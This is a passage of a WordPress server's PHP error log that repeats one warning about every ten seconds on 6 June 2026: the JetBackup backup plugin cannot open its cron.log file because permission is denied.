15:13:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:13:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:13:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:13:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:13:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:14:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:14:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:14:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:14:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:14:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:14:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:15:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:15:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:15:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:15:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:15:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:15:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:16:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:16:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:16:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:16:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:16:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:16:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:17:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:17:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:17:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:17:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:17:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:17:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:18:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:18:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:18:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:18:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:18:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:18:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:19:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:19:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:19:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:19:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:19:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:19:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:20:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:20:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:20:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:20:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:20:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:20:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:21:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:21:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:21:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:21:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:21:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:21:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:22:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:22:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:22:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:22:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:22:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:22:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:23:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:23:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:23:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:23:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:23:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:23:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:24:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:24:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:24:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:24:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:24:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:24:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:25:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:25:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:25:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:25:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:25:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:25:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:26:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:26:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:26:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:26:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:26:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:26:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:27:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:27:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:27:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:27:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:27:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:27:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:28:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:28:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:28:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:28:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:28:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:28:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:29:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:29:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:29:28 UTC] PHP Warning: 